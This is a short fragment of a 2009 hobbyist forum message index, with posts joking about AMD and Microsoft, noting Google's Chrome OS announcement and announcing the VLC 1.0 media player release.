Admin

Posted on Jul 10, 2009, 12:59 AM

Respond to this message   

Return to Index


* AMD = Advanced Micro Devices

by qbguy (no login)

Posted on Jul 10, 2009, 10:16 AM

Respond to this message   

Return to Index


* Well, that's better than being "Micro Soft"

by (Login burger2227)

Posted on Jul 10, 2009, 10:38 AM

Respond to this message   

Return to Index


Google releases Chrome OS based on Linux.

by qbguy (no login)

M$ expected to rename Windows to "Internet Explorer OS"

Posted on Jul 9, 2009, 5:33 AM

Respond to this message   

Return to Index


VLC 1.0 Released!

by qbguy (no login)

http://www.videolan.org/vlc/

VLC is a free and open source media player that has ASCII art output.

Also runs on M$ OSes.

Posted on Jul 8, 2009, 7:08 AM

Respond to this message   

Return to Index